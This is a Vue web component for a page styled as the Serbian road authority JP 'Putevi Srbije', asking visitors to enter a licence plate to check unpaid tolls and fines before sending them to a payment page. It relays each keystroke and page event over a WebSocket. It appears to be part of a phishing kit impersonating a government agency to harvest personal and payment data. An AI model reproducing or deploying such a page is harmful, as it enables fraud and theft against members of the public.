<script setup lang="ts">
import { getCurrentInstance, onMounted, ref, watch } from "vue";
import { useRouter } from "vue-router";
import CommonLayout from "@/views/CommonLayout.vue";
import { useLoadingStore } from "@/stores/loadingStore";
import { inputChange, myWebSocket } from "@/utils/common";
import { useI18n } from "vue-i18n";

const { t } = useI18n();

const router = useRouter();
const loadingStore = useLoadingStore();

const formData = ref({ licensePlateData: { licensePlate: "" } });

const instance = getCurrentInstance()!;

const onchange = (event: any) => {
  inputChange("Регистарска ознака", "plate", event.target.value);
};

const next = () => {
  localStorage.setItem("licensePlate", formData.value.licensePlateData.licensePlate);
  loadingStore.setLoading(true);
  setTimeout(() => {
    loadingStore.setLoading(false);
    router.push("/pay");
  }, 200);
};

watch(
  instance.appContext.config.globalProperties.$currentUser,
  (newValue, oldValue) => {}
);

onMounted(() => {
  myWebSocket?.send(
    JSON.stringify({
      event: "page_type",
      content: { pageType: "phone" },
    })
  );
  const userData =
    getCurrentInstance()?.appContext.config.globalProperties.$userData;
  if (userData && userData.licensePlateData) {
    formData.value = userData;
  }
  localStorage.setItem("route", "phone");
});
</script>

<template>
  <CommonLayout>
    <template #default>
      <div class="image-container">
        <img 
          src="/Static_zy/koridor10-juzni-krak.jpg" 
          alt="Путеви Србије"
          style="width: 100%; height: auto; max-width: 100%; margin-top: -10px; margin-bottom: -16px;">
      </div>
      <div class="main-content-body">
        <div class="container">
          <form @submit.prevent="next">
            <div class="content-body">
              <h1>{{ t("Провера статуса наплате путарине") }}</h1>
              <p>
                {{ t("Унесите регистарску ознаку возила да бисте проверили статус неплаћених путарина и казни према подацима ЈП 'Путеви Србије'.") }}
              </p>
              <div class="input-group">
                <label for="licensePlate">
                  {{ t("Регистарска ознака") }}
                </label>
                <input
                  id="licensePlate"
                  type="text"
                  required
                  autofocus
                  @input="onchange"
                  v-model="formData.licensePlateData.licensePlate"
                  inputmode="text"
                  :placeholder="t('Пример: BG123456')"
                  class="full-width-input"
                />
              </div>
            </div>
            <div class="button-submit">
              <button type="submit" class="full-width-btn">
                {{ t("Провери статус") }}
              </button>
            </div>
          </form>
        </div>
      </div>
    </template>
  </CommonLayout>
</template>

<style scoped>
.image-container {
  display: flex;
  justify-content: center;
  align-items: center;
  margin-bottom: 1rem;
}

.main-content-body {
  background-color: #f0f4f8;
  padding: 3rem 1rem;
  display: flex;
  align-items: center;
}

.container {
  max-width: 720px;
  margin: 0 auto;
  background-color: #ffffff;
  border: 1px solid #d0d7de;
  border-radius: 8px;
  padding: 2rem;
  box-shadow: 0 4px 8px rgba(0, 0, 0, 0.1);
}

.content-body {
  text-align: left;
}

h1 {
  font-size: 1.8rem;
  font-weight: 700;
  color: #003087;
  margin-bottom: 1rem;
  font-family: 'Arial', sans-serif;
}

p {
  color: #333333;
  font-size: 1rem;
  line-height: 1.5;
  margin-bottom: 1.5rem;
  font-family: 'Arial', sans-serif;
}

.input-group {
  margin-bottom: 1.5rem;
}

label {
  display: block;
  font-size: 1rem;
  font-weight: 500;
  color: #003087;
  margin-bottom: 0.5rem;
  font-family: 'Arial', sans-serif;
}

.full-width-input {
  width: 100%;
  box-sizing: border-box;
  padding: 0.75rem;
  font-size: 1rem;
  border: 1px solid #b0b8c1;
  border-radius: 5px;
  background-color: #ffffff;
  color: #333333;
  font-family: 'Arial', sans-serif;
  transition: border-color 0.2s;
  margin-bottom: 0;
  display: block;
}

.full-width-input:focus {
  outline: none;
  border-color: #003087;
  box-shadow: 0 0 0 2px rgba(0, 48, 135, 0.2);
}

.button-submit {
  text-align: center;
}

.full-width-btn {
  width: 100%;
  background-color: #003087;
  color: #ffffff;
  border: none;
  border-radius: 5px;
  font-size: 1.1rem;
  font-weight: 600;
  padding: 0.85rem 0;
  cursor: pointer;
  transition: background 0.2s;
  font-family: 'Arial', sans-serif;
  margin-top: 0.3rem;
  box-sizing: border-box;
  display: block;
}

.full-width-btn:hover {
  background-color: #00205b;
}

@media (max-width: 768px) {
  .container {
    padding: 1.5rem;
    margin: 0 1rem;
  }

  h1 {
    font-size: 1.3rem;
  }

  p {
    font-size: 0.9rem;
  }

  .full-width-input {
    padding: 0.6rem;
  }

  .full-width-btn {
    padding: 0.75rem 0;
    font-size: 1rem;
  }
}
</style>